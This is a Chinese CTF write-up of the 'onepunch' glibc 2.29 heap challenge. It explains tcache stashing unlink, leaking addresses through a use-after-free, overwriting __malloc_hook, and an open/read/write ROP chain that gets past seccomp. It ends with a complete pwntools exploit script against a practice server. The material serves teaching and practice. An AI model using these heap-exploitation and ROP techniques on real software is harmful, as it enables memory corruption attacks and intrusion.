[A]onepunch(tcache stash&&seccomp)

程序调用的是calloc,这个函数不会从tcache中取chunk。所以直接add free 重复填满tcache,利用uaf泄露heap和libc

tcache per thread struct是来管理链表上堆块的数量的,大小一共是0x250,在heap开头。其中counts一共占0x40,每一个字节都代表一个大小范围正好对应64个entry,第一个字节代表0x10,类推。本题中数一数就是对应0x220的size的地方需要大于6,虽然我们可以申请7个0x220的chunk来让他变为7,可以通过if,但是之后malloc的0x217也是0x220的范围,这意味着malloc将无法使用tcache,做不到任意地址写。接得用别的方法进行修改。

因为2.29的libc已经加了unsortedbin链表完整性检查,所以无法在使用unsortedbin attack,
用新方法,tcache stashing unlink attack,就是,从smallbin中进行calloc时,因为时FIFO,所以取链表尾,此时检查链表完整性,然后会查看对应大小的tcache是否满,如果没有满,会将剩下的smallbin chunk从链表尾依次放入tcache,但在检查完unlink拿取的chunk的完整性后,他没有检查后续chunk的真假,unlink时开始bk是指向尾chunk(bck=bin->bk),调整后,bck会指向倒数第二个chunk,最后他会bin->bk = bck,bck->fd = bin(在这一步就会在fd处写上一个地址),bin是smallbin地址,bck的small的bk指针,后续每一个移入tcache的chunk的都这么处理
所以我们在smallbin中放入两个chunk,表头叫bin1,表尾叫bin2,在bin1的bk处写上target_addr-0x10(fd),之后申请出bin2,就会把后续的chunk放入tcache,并且在fd写入地址。但因为我们指向的target不是chunk,所以将他放入tcache时会导致内存错误,于是我们就要提前准备好tcache,我们放6个相应大小chunk在里面,这样allocate拿走bin2,stash拿走bin1到tache,之后给target写值,tcache满了,就不会在继续了。

怎么让chunk进入smallbin?首先放入unsortedbin,之后申请chunk时,如果比unsortedbin中的chunk更大,就会触发consolidate将unsortedbin中的chunk放入smallbin。

记得还要提前把0x218大小得chunk放入tcache,并且指向malloc_hook。所以现在,可以拿到malloc_hook了,因为有沙箱,我们需要构造rop链来绕过,

open(flag_addr,0)flag_addr是文件名字符串的地址
read(3,flag_addr,0x30) 012是标准输入,输出,出错。3就是打开的文件
write(1,flag_addr,0x30) 1是输出模式

这里还有些疑问,做法是把hook改成了add rsp,0x48;ret的gadget,我猜测这应该是调用hook时,我们写入的rop链正好在rsp+0x48的地方,但我实际调试好像是在0x40,应该是调用hook时,还会压入一个返回地址,所以一共0x48。之后去查资料再验证。

rop chain是对libc进行rop,所以gadget很直接。

from pwn import *
#context(os='linux',arch='amd64',log_level='debug')

# p = process('./punch')
# libc = ELF('/glibc/2.29/amd64/lib/libc-2.29.so')

p = remote("node4.buuoj.cn",26977)
libc = ELF('/home/giantbranch/Desktop/libc/amd64/libc-2.29.so')

elf = ELF('./punch')

def add(idx,name):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)


def edit(idx,name):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def show(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def free(idx):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def BackDoor(buf):
    p.recvuntil('> ')
    p.sendline('50056')
    sleep(0.1)
    p.send(buf)



#full tcache
for i in range(7):
    add(0,'a'*0x400)
    free(0)


#leak heap base
show(0)
p.recvuntil("hero name: ")
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x16b0
log.info("heap_base="+hex(heap_base))


#remain one for smallchunk
for i in range(6):
    add(0,'a'*0xf0)
    free(0)


#leak libc base
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)
show(0)
p.recvuntil("hero name: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
malloc_hook = libc_base+libc.sym["__malloc_hook"]


#make tcache write anywhere
add(1,'a'*0x218)#cut from unsortedbin
free(1)#to tcache
edit(1,p64(malloc_hook))
add(1,'a'*0x1d0)#clear unsortedbin
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)#into unsortedbin 0x400


#make small bin*2
add(0,'a'*0x300)#cut unsortedbin to remain 0x100
add(0,'a'*0x200)#smallbin to 0x100

add(0,'a'*0x400)
add(1,'a'*0x200)
free(0)#in unsortedbin
add(2,'a'*0x300)#cut
add(2,'a'*0x200)#smallbin to 0x100 again
edit(0,'d'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x2ff0)+p64(heap_base+0x30-0x5-0x10))


#make stash
add(2,'a'*0xf0)#get last chunk from smallbin


#get malloc_hook
add_rsp_0x48 = libc_base+0x8cfd6
BackDoor("./flag\x00".ljust(8,'\x00'))#name of file
BackDoor(p64(add_rsp_0x48))#get malloc_hook

#rop to orw
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0xcf6c5
flag_addr = heap_base+0x24d0
#open(flag_addr,0)
rop_chains = p64(pop_rdi)+p64(flag_addr)
rop_chains+= p64(pop_rsi)+p64(0)
rop_chains+= p64(pop_rax)+p64(2)
rop_chains+= p64(syscall)
#read(3,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(3)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(0)
rop_chains+= p64(syscall)
#write(1,flag_addr,0x30)
rop_chains+= p64(pop_rdi)+p64(1)
rop_chains+= p64(pop_rsi)+p64(flag_addr)
rop_chains+= p64(pop_rdx)+p64(0x30)
rop_chains+= p64(pop_rax)+p64(1)
rop_chains+= p64(syscall)

add(0,rop_chains)
#gdb.attach(p)
p.interactive()
上一篇:No ResultSet was produced


下一篇:roarctf_2019_easy_pwn